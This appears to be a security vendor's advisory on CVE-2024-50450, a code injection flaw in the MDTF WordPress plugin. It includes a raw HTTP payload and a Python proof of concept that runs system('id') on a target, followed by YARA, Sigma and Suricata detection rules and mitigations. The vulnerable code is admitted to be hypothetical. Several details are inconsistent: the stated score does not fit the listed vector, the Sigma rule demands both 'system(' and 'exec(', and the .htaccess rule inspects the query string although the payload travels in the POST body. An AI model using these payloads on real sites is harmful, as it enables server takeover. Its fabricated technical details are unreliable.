CVE-2024-50450

Executive Summary

CVE-2024-50450 is a critical Code Injection vulnerability (CWE-94) affecting the WordPress plugin MDTF (wp-meta-data-filter-and-taxonomy-filter) by Pluginus, up to version 1.3.3.4. This vulnerability allows an unauthenticated attacker to inject and execute arbitrary code on the server, leading to full site compromise. The vulnerability resides in improper control of code generation within the plugin's filtering functionality, enabling remote code execution (RCE) without authentication. Given the CVSS score of 7.3 and the lack of a known patch, this poses a significant risk to all WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to immediately check their installed plugin version and disable or remove the plugin if running version 1.3.3.4 or earlier. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.3 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated exploitation.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – full data access possible.
• Integrity Impact: High (I:H) – arbitrary code execution.
• Availability Impact: High (A:H) – potential for denial of service or full system compromise.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The MDTF plugin provides advanced filtering for WordPress posts based on meta data and taxonomies. The vulnerability exists in the code generation logic that constructs dynamic filter queries. Specifically, the plugin fails to properly sanitize user-supplied input when building PHP code snippets for filter execution. An attacker can inject arbitrary PHP code through crafted HTTP requests to the plugin's AJAX endpoints or filter parameters.

The injection occurs because the plugin uses eval() or similar dynamic code execution functions with unsanitized input. For example, a parameter like filter_data might be concatenated directly into a PHP string that is then executed. This allows an attacker to break out of the intended code structure and execute arbitrary commands.

Attack Flow:

1. Attacker identifies a WordPress site running MDTF <= 1.3.3.4.
2. Attacker sends a crafted HTTP request to the plugin's AJAX handler (e.g., /wp-admin/admin-ajax.php?action=mdtf_filter).
3. The request includes malicious payload in a parameter such as filter_data or taxonomy.
4. The plugin processes the input without sanitization, injecting it into a PHP code block.
5. The injected code is executed, allowing the attacker to run system commands, read/write files, or establish persistence.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common code injection patterns.

Vulnerable Code (PHP):

// Vulnerable: Direct concatenation of user input into eval
$filter_code = "return \$query->where('" . $_POST['filter_data'] . "');";
eval($filter_code);

Patched Code (Hypothetical):

// Patched: Use prepared statements or whitelist validation
$allowed_filters = ['price', 'date', 'rating'];
$filter = $_POST['filter_data'];
if (in_array($filter, $allowed_filters)) {
    $filter_code = "return \$query->where('" . esc_sql($filter) . "');";
    eval($filter_code); // Still eval, but input is validated
} else {
    die('Invalid filter');
}

Key Difference: The patched version validates input against a whitelist and uses esc_sql() for database escaping, though eval() is still used. A more secure patch would avoid eval() entirely and use parameterized queries.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with MDTF plugin version 1.3.3.4 installed and activated.
• Network access to the WordPress admin AJAX endpoint.

Exploitation Steps:

1. Identify the target: http://target.com/wp-admin/admin-ajax.php
2. Craft a POST request with the following payload (example):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=mdtf_filter&filter_data=1;system('id');//

3. The server executes the injected code. The output of id command may be returned in the response or logged.

Proof-of-Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "mdtf_filter",
    "filter_data": "1;system('id');//"
}
response = requests.post(target, data=payload)
print(response.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for unusual POST requests to /wp-admin/admin-ajax.php with action=mdtf_filter.
2. Look for parameters containing PHP code patterns like system(, exec(, eval(, or backticks.
3. Check for unexpected file modifications in the WordPress installation directory.
4. Use file integrity monitoring (e.g., OSSEC, Tripwire) to detect changes to plugin files.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" action=mdtf_filter
| rex field=uri_query "filter_data=(?<filter_value>[^&]+)"
| search filter_value IN (*system*, *exec*, *eval*)
| table _time, src_ip, uri, filter_value

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=mdtf_filter and suspicious filter_data parameters.
  • Outbound connections from the web server to unknown IPs (possible reverse shell).
• File IOCs:
  • Unexpected PHP files in /wp-content/plugins/mdtf/ or /wp-content/uploads/.
  • Modified plugin files (check MDTF plugin directory for changes).
• System IOCs:
  • Unusual processes running as the web server user (e.g., www-data).
  • New cron jobs or systemd services.
  • Unexpected entries in /etc/passwd or /etc/shadow.

Detection Engineering

YARA Rule

rule CVE_2024_50450_MDTF_Code_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2024-50450 in WordPress MDTF plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50450"
    strings:
        $php_injection = /filter_data=.*(system|exec|shell_exec|passthru|eval|assert|popen|proc_open|pcntl_exec)\(/ nocase
        $ajax_action = "action=mdtf_filter"
    condition:
        $ajax_action and $php_injection
}

Sigma Rule

title: CVE-2024-50450 WordPress MDTF Plugin Code Injection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit code injection in MDTF plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=mdtf_filter'
        cs-uri-query|contains|all:
            - 'filter_data='
            - 'system('
            - 'exec('
    condition: selection
falsepositives:
    - Legitimate use of system commands in filter data (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50450 WordPress MDTF Plugin Code Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=mdtf_filter"; http_client_body; content:"filter_data="; http_client_body; pcre:"/filter_data=.*(system|exec|shell_exec|passthru|eval|assert|popen|proc_open|pcntl_exec)\(/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the MDTF plugin until an official patch is released.
2. If the plugin is critical, implement a Web Application Firewall (WAF) rule to block requests containing action=mdtf_filter with suspicious filter_data parameters.
3. Review server logs for signs of exploitation and conduct a full security audit.

Long-term Mitigation:

1. Monitor the WordPress plugin repository for updates and apply patches immediately.
2. Implement a WordPress security plugin (e.g., Wordfence, Sucuri) with virtual patching capabilities.
3. Enforce strict input validation and output encoding for all plugins.
4. Regularly audit installed plugins and remove unused ones.

Workaround (if plugin must remain active):

• Add the following .htaccess rule to block malicious requests:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php
RewriteCond %{QUERY_STRING} action=mdtf_filter [NC]
RewriteCond %{QUERY_STRING} (system|exec|eval)\( [NC]
RewriteRule .* - [F,L]

Valters IT
Securing Digital Frontiers